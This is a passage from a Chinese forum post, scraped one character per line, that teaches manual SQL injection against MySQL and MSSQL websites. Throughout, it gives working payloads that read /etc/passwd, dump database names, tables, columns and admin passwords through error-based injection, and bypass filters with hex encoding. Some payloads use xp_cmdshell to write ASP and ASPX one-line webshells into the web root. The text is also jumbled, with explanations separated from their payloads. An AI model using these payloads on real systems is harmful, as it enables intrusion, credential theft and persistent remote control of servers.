限
S
Q
L
语
句
如
下
:
u
n
i
o
n
s
e
l
e
c
t
1
,
l
o
a
d
_
f
i
l
e
(
‘
/
e
t
c
/
p
a
s
s
w
d
’
)
,
3
,
4
,
5
#
通
常
,
一
些
防
注
入
语
句
不
允
许
单
引
号
的
出
现
,
那
么
可
以
使
用
一
下
语
句
绕
过
:
对
路
径
进
行
1
6
进
制
转
换
。
M
S
S
Q
L
手
工
注
入
手
工
注
入
与
S
Q
L
注
入
不
同
的
是
,
S
Q
L
利
用
的
爆
出
显
示
的
字
段
,
M
S
S
Q
L
利
用
的
报
错
注
入
,
插
入
恶
意
的
s
q
l
语
句
,
让
查
询
报
错
,
在
报
出
的
错
误
中
,
显
示
我
们
想
要
的
信
息
。
注
入
点
:
查
询
数
据
库
版
本
测
试
语
句
:
注
意
:
“
a
n
d
@
@
v
s
e
r
s
i
o
n
>
0
”
也
可
以
写
成
“
a
n
d
0
/
@
@
v
e
r
s
i
o
n
>
0
”
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
M
i
c
r
o
s
o
f
t
S
Q
L
S
e
r
v
e
r
2
0
0
8
R
2
(
S
P
3
)
-
1
0
.
5
0
.
6
0
0
0
.
3
4
(
X
6
4
)
A
u
g
1
9
2
0
1
4
1
2
:
2
1
:
3
4
C
o
p
y
r
i
g
h
t
©
M
i
c
r
o
s
o
f
t
C
o
r
p
o
r
a
t
i
o
n
E
n
t
e
r
p
r
i
s
e
E
d
i
t
i
o
n
(
6
4
-
b
i
t
)
o
n
W
i
n
d
o
w
s
N
T
6
.
1
<
X
6
4
(
B
u
i
l
d
7
6
0
1
:
S
e
r
v
i
c
e
P
a
c
k
1
)
(
H
y
p
e
r
v
i
s
o
r
)
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
原
因
:
@
@
v
e
r
s
i
o
n
是
M
S
S
Q
L
的
全
局
变
量
,
如
果
我
们
在
“
?
i
d
=
1
”
后
面
加
上
“
a
n
d
@
@
v
e
r
s
i
o
n
>
0
”
,
那
么
“
a
n
d
”
后
面
的
语
句
会
将
“
@
@
v
e
r
s
i
o
n
”
强
制
抓
换
成
i
n
t
类
型
与
0
比
较
大
小
,
但
是
类
型
转
换
失
败
,
所
以
就
将
数
据
库
信
息
暴
露
出
来
。
查
询
计
算
机
名
称
查
询
计
算
机
名
称
@
@
s
e
r
v
e
r
n
a
m
e
:
M
S
S
Q
L
全
局
变
量
,
表
示
计
算
机
名
称
。
显
示
计
算
机
名
:
s
e
l
e
c
t
@
@
h
o
s
t
n
a
m
e
;
显
示
系
统
版
本
:
s
e
l
e
c
t
@
@
v
e
r
s
i
o
n
_
c
o
m
p
i
l
e
_
o
s
;
显
示
m
y
s
q
l
路
径
:
s
e
l
e
c
t
@
@
b
a
s
e
d
i
r
;
显
示
数
据
库
路
径
:
s
e
l
e
c
t
@
@
d
a
t
a
d
i
r
;
显
示
r
o
o
t
密
码
:
s
e
l
e
c
t
U
s
e
r
,
P
a
s
s
w
o
r
d
f
r
o
m
m
y
s
q
l
.
u
s
e
r
;
u
n
i
o
n
s
e
l
e
c
t
1
,
l
o
a
d
_
f
i
l
e
(
0
x
2
7
2
F
6
5
7
4
6
3
2
F
7
0
6
1
7
3
7
3
7
7
6
4
2
7
)
,
3
,
4
,
5
#
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
@
@
v
e
r
s
i
o
n
:
M
S
S
Q
L
全
局
变
量
,
表
示
数
据
库
版
本
信
息
。
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
@
@
v
e
r
s
i
o
n
>
0
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
W
I
N
D
O
W
S
-
X
X
X
X
X
X
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
查
询
当
前
数
据
库
名
称
查
询
当
前
数
据
库
名
称
d
b
_
n
a
m
e
(
)
:
当
前
使
用
的
数
据
库
名
称
。
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
a
b
c
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
查
询
当
前
连
接
数
据
库
的
用
户
查
询
当
前
连
接
数
据
库
的
用
户
U
s
e
r
_
N
a
m
e
(
)
:
当
前
连
接
数
据
库
的
用
户
。
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
d
b
o
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
注
意
:
如
果
看
到
d
b
o
,
那
么
多
半
当
前
数
据
库
的
用
户
是
d
b
a
权
限
。
查
询
其
他
数
据
库
名
称
查
询
其
他
数
据
库
名
称
爆
其
他
数
据
库
:
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
m
a
s
t
e
r
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
再
爆
其
他
的
数
据
库
则
这
么
写
:
继
续
的
话
要
这
么
写
:
查
询
数
据
库
中
的
表
名
查
表
名
:
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
d
e
p
a
r
t
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
再
爆
其
他
表
:
再
继
续
:
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
S
E
L
E
C
T
t
o
p
1
N
a
m
e
F
R
O
M
M
a
s
t
e
r
…
S
y
s
D
a
t
a
b
a
s
e
s
)
>
0
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
S
E
L
E
C
T
t
o
p
1
N
a
m
e
F
R
O
M
M
a
s
t
e
r
…
S
y
s
D
a
t
a
b
a
s
e
s
w
h
e
r
e
n
a
m
e
n
o
t
i
n
(
‘
m
a
s
t
e
r
’
)
)
>
0
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
S
E
L
E
C
T
t
o
p
1
N
a
m
e
F
R
O
M
M
a
s
t
e
r
…
S
y
s
D
a
t
a
b
a
s
e
s
w
h
e
r
e
n
a
m
e
n
o
t
i
n
(
‘
m
a
s
t
e
r
’
,
‘
a
b
c
’
)
)
>
0
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
s
e
l
e
c
t
t
o
p
1
n
a
m
e
f
r
o
m
a
b
c
.
s
y
s
.
a
l
l
_
o
b
j
e
c
t
s
w
h
e
r
e
t
y
p
e
=
‘
U
’
A
N
D
i
s
_
m
s
_
s
h
i
p
p
e
d
=
0
)
>
0
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
s
e
l
e
c
t
t
o
p
1
n
a
m
e
f
r
o
m
a
b
c
.
s
y
s
.
a
l
l
_
o
b
j
e
c
t
s
w
h
e
r
e
t
y
p
e
=
‘
U
’
A
N
D
i
s
_
m
s
_
s
h
i
p
p
e
d
=
0
a
n
d
n
a
m
e
n
o
t
i
n
(
‘
d
e
p
a
r
t
’
)
)
>
0
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
s
e
l
e
c
t
t
o
p
1
n
a
m
e
f
r
o
m
a
b
c
.
s
y
s
.
a
l
l
_
o
b
j
e
c
t
s
w
h
e
r
e
t
y
p
e
=
‘
U
’
A
N
D
i
s
_
m
s
_
s
h
i
p
p
e
d
=
0
a
n
d
n
a
m
e
n
o
t
i
n
(
‘
d
e
p
a
r
t
’
,
‘
w
o
r
k
e
r
’
)
)
>
0
查
询
表
中
的
列
名
或
者
是
字
段
名
查
字
段
名
:
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
I
D
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
再
爆
其
他
字
段
:
再
继
续
:
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
s
e
l
e
c
t
t
o
p
1
C
O
L
U
M
N
_
N
A
M
E
f
r
o
m
a
b
c
.
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
T
A
B
L
E
_
N
A
M
E
=
‘
d
e
p
a
r
t
’
a
n
d
C
O
L
U
M
N
_
N
A
M
E
n
o
t
i
n
(
‘
I
D
’
,
‘
N
A
M
E
’
)
)
>
0
爆
数
据
爆
数
据
查
询
数
据
:
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
B
5
A
1
E
F
8
7
3
0
2
0
0
F
9
3
E
5
0
F
4
F
5
D
E
B
B
C
A
C
0
B
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
写
入
一
句
话
木
马
写
入
一
句
话
木
马
如
果
数
据
的
权
限
是
d
b
a
,
且
知
道
网
站
绝
对
路
径
的
话
,
那
么
我
们
就
可
以
用
这
个
语
句
来
写
一
句
话
木
马
进
去
:
a
s
p
木
马
:
a
s
p
x
木
马
:
原
理
是
s
q
l
s
e
r
v
e
r
支
持
堆
叠
查
询
,
利
用
x
p
_
c
m
d
s
h
e
l
l
可
以
执
行
c
m
d
指
令
,
c
m
d
指
令
中
用
【
e
c
h
o
内
容
>
文
件
】
可
以
写
文
件
到
磁
盘
里
面
。
利
用
h
e
x
编
码
绕
过
W
A
F
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
o
m
/
x
x
x
/
x
x
x
.
a
s
p
x
?
u
s
e
r
n
a
m
e
=
x
x
x
利
用
火
狐
浏
览
器
中
的
h
a
c
k
b
a
r
工
具
的
E
n
c
o
d
i
n
g
底
下
的
“
H
E
X
E
n
c
o
d
i
n
g
”
轻
松
把
字
符
串
编
码
成
为
可
以
利
用
的
h
e
x
,
然
后
利
用
报
错
注
入
就
可
以
注
入
这
个
网
站
。
爆
数
据
库
版
本
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
@
@
v
e
r
s
i
o
n
)
然
后
使
用
如
下
方
式
注
入
:
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
s
e
l
e
c
t
t
o
p
1
C
O
L
U
M
N
_
N
A
M
E
f
r
o
m
a
b
c
.
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
T
A
B
L
E
_
N
A
M
E
=
‘
d
e
p
a
r
t
’
)
>
0
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
s
e
l
e
c
t
t
o
p
1
C
O
L
U
M
N
_
N
A
M
E
f
r
o
m
a
b
c
.
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
T
A
B
L
E
_
N
A
M
E
=
‘
d
e
p
a
r
t
’
a
n
d
C
O
L
U
M
N
_
N
A
M
E
n
o
t
i
n
(
‘
I
D
’
)
)
>
0
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
a
n
d
(
s
e
l
e
c
t
t
o
p
1
p
a
s
s
w
o
r
d
f
r
o
m
d
e
p
a
r
t
)
>
0
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
;
e
x
e
c
m
a
s
t
e
r
…
x
p
_
c
m
d
s
h
e
l
l
‘
e
c
h
o
"
<
%
@
L
A
N
G
U
A
G
E
=
V
B
S
C
R
I
P
T
%
>
;
<
%
e
v
a
l
r
e
q
u
e
s
t
(
c
h
r
(
3
5
)
)
%
>
’
’
"
>
d
:
K
f
S
i
t
e
k
a
i
f
e
n
g
2
.
a
s
p
’
–
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
n
/
x
x
x
/
x
x
x
.
a
s
p
x
?
i
d
=
1
;
e
x
e
c
m
a
s
t
e
r
…
x
p
_
c
m
d
s
h
e
l
l
‘
e
c
h
o
"
<
%
@
L
A
N
G
U
A
G
E
=
J
s
c
r
i
p
t
%
>
;
<
%
e
v
a
l
(
R
e
q
u
e
s
t
(
“
s
b
”
)
,
“
u
n
s
a
f
e
”
)
%
>
’
’
"
>
C
:
i
n
e
t
p
u
b
w
w
w
r
o
o
t
2
.
a
s
p
x
’
–
h
e
x
编
码
后
:
0
x
7
3
6
5
6
c
6
5
6
3
7
4
2
0
6
3
6
f
6
e
7
6
6
5
7
2
7
4
2
8
6
9
6
e
7
4
2
c
4
0
4
0
7
6
6
5
7
2
7
3
6
9
6
f
6
e
2
9
报
错
信
息
:
在
将
n
v
a
r
c
h
a
r
值
‘
M
i
c
r
o
s
o
f
t
S
Q
L
S
e
r
v
e
r
2
0
0
8
R
2
(
R
T
M
)
-
1
0
.
5
0
.
1
6
0
0
.
1
(
X
6
4
)
A
p
r
2
2
0
1
0
1
5
:
4
8
:
4
6
C
o
p
y
r
i
g
h
t
©
M
i
c
r
o
s
o
f
t
C
o
r
p
o
r
a
t
i
o
n
S
t
a
n
d
a
r
d
E
d
i
t
i
o
n
(
6
4
-
b
i
t
)
o
n
W
i
n
d
o
w
s
N
T
6
.
1
(
B
u
i
l
d
7
6
0
1
:
S
e
r
v
i
c
e
P
a
c
k
1
)
(
H
y
p
e
r
v
i
s
o
r
)
‘
转
换
成
数
据
类
型
i
n
t
时
失
败
。
注
意
后
面
的
注
入
语
句
:
e
X
e
C
(
@
s
)
/
/
调
用
函
数
e
x
e
c
(
)
执
行
“
@
s
”
中
的
内
容
。
爆
当
前
数
据
库
爆
当
前
数
据
库
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
d
b
_
n
a
m
e
(
)
)
爆
当
前
用
户
爆
当
前
用
户
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
U
s
e
r
_
N
a
m
e
(
)
)
爆
表
爆
表
爆
字
段
爆
字
段
爆
数
据
爆
数
据
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
(
s
e
l
e
c
t
t
o
p
1
u
s
e
r
n
a
m
e
f
r
o
m
C
M
S
_
A
d
m
i
n
)
)
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
(
s
e
l
e
c
t
t
o
p
1
p
a
s
s
w
o
r
d
f
r
o
m
C
M
S
_
A
d
m
i
n
)
)
S
Q
L
注
入
之
你
问
我
答
小
知
识
注
入
之
你
问
我
答
小
知
识
1
.
i
d
-
1
,
页
面
如
果
返
回
正
确
页
面
说
明
是
有
注
入
,
那
,
页
面
如
果
返
回
正
确
页
面
说
明
是
有
注
入
,
那
+
1
可
以
吗
?
可
以
吗
?
(
w
w
w
.
t
e
s
t
.
c
o
m
/
x
s
n
.
p
h
p
?
i
d
=
1
2
+
1
)
不
行
,
因
为
加
号
在
u
r
l
里
面
是
空
格
的
意
思
。
2
.
你
知
道
你
知
道
m
y
s
q
l
里
有
几
种
注
释
方
式
吗
?
里
有
几
种
注
释
方
式
吗
?
三
种
:
①
.
#
这
个
注
释
直
到
该
行
结
束
;
②
.
/
注
释
多
行
/
;
③
.
–
+
这
个
注
释
直
到
该
行
结
束
。
第
三
种
需
要
解
释
一
下
,
因
为
之
前
我
不
知
道
这
个
方
法
,
说
‘
–
’
是
注
释
符
我
还
大
概
有
印
象
,
但
是
–
+
就
懵
。
其
实
是
–
,
注
意
–
的
后
面
有
一
个
空
格
。
但
是
在
u
r
l
里
你
直
接
空
格
会
被
浏
览
器
直
接
处
理
掉
,
就
到
不
了
数
据
库
里
。
所
以
特
意
用
加
号
代
替
。
3
.
“
s
e
l
e
c
t
s
e
l
e
c
t
*
f
r
o
m
a
d
m
i
n
”
可
以
执
行
吗
?
倘
若
不
可
以
请
说
明
。
可
以
执
行
吗
?
倘
若
不
可
以
请
说
明
。
不
可
以
执
行
,
在
使
用
s
e
l
e
c
t
双
层
的
时
候
要
把
第
二
个
括
起
来
,
否
则
无
效
。
4
.
倘
若
空
格
过
滤
了
,
你
知
道
有
哪
些
可
以
绕
过
吗
?
或
者
说
你
知
道
哪
些
可
以
替
代
空
格
吗
?
倘
若
空
格
过
滤
了
,
你
知
道
有
哪
些
可
以
绕
过
吗
?
或
者
说
你
知
道
哪
些
可
以
替
代
空
格
吗
?
这
些
是
空
字
符
。
比
如
u
n
%
0
a
i
o
n
会
被
当
做
u
n
i
o
n
来
处
理
。
假
如
空
格
被
过
滤
了
,
可
能
的
s
q
l
语
句
就
会
变
成
:
s
e
l
e
c
t
f
r
o
m
m
e
s
s
a
g
e
s
w
h
e
r
e
u
i
d
=
4
5
o
r
1
=
1
,
我
们
可
以
使
用
/
/
来
替
换
空
格
:
h
t
t
p
:
/
/
w
w
w
.
x
x
x
.
c
o
m
/
x
x
x
/
x
x
x
.
a
s
p
x
?
u
s
e
r
n
a
m
e
=
x
x
x
’
;
d
E
c
L
a
R
e
@
s
v
A
r
C
h
A
r
(
8
0
0
0
)
s
E
t
@
s
=
0
x
7
3
6
5
6
c
6
5
6
3
7
4
2
0
6
3
6
f
6
e
7
6
6
5
7
2
7
4
2
8
6
9
6
e
7
4
2
c
4
0
4
0
7
6
6
5
7
2
7
3
6
9
6
f
6
e
2
9
e
X
e
C
(
@
s
)
–
d
E
c
L
a
R
e
@
s
v
A
r
C
h
A
r
(
8
0
0
0
)
/
/
声
明
一
个
局
部
变
量
@
s
,
类
型
为
v
a
r
c
h
a
r
(
8
0
0
0
)
s
E
t
@
s
=
0
x
7
3
6
5
6
c
6
5
6
3
7
4
2
0
6
3
6
f
6
e
7
6
6
5
7
2
7
4
2
8
6
9
6
e
7
4
2
c
4
0
4
0
7
6
6
5
7
2
7
3
6
9
6
f
6
e
2
9
/
/
给
@
s
赋
值
,
为
“
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
@
@
v
e
r
s
i
o
n
)
”
的
十
六
进
制
编
码
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
(
s
e
l
e
c
t
t
o
p
1
n
a
m
e
f
r
o
m
a
b
c
[
数
据
库
名
]
.
s
y
s
.
a
l
l
_
o
b
j
e
c
t
s
w
h
e
r
e
t
y
p
e
=
’
U
’
A
N
D
i
s
_
m
s
_
s
h
i
p
p
e
d
=
0
)
)
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
(
s
e
l
e
c
t
t
o
p
1
n
a
m
e
f
r
o
m
a
b
c
[
数
据
库
名
]
.
s
y
s
.
a
l
l
_
o
b
j
e
c
t
s
w
h
e
r
e
t
y
p
e
=
’
U
’
A
N
D
i
s
_
m
s
_
s
h
i
p
p
e
d
=
0
a
n
d
n
a
m
e
n
o
t
i
n
(
‘
C
M
S
_
A
r
t
i
c
l
e
C
l
a
s
s
’
)
)
)
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
(
s
e
l
e
c
t
t
o
p
1
C
O
L
U
M
N
_
N
A
M
E
f
r
o
m
a
b
c
[
数
据
库
名
]
.
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
T
A
B
L
E
_
N
A
M
E
=
’
C
M
S
_
U
s
e
r
i
n
f
o
[
表
名
]
’
)
)
s
e
l
e
c
t
c
o
n
v
e
r
t
(
i
n
t
,
(
s
e
l
e
c
t
t
o
p
1
C
O
L
U
M
N
_
N
A
M
E
f
r
o
m
a
b
c
[
数
据
库
名
]
.
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
T
A
B
L
E
_
N
A
M
E
=
’
C
M
S
_
U
s
e
r
i
n
f
o
[
表
名
]
’
a
n
d
C
O
L
U
M
N
_
N
A
M
E
n
o
t
i
n
(
‘
i
d
’
)
)
)
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页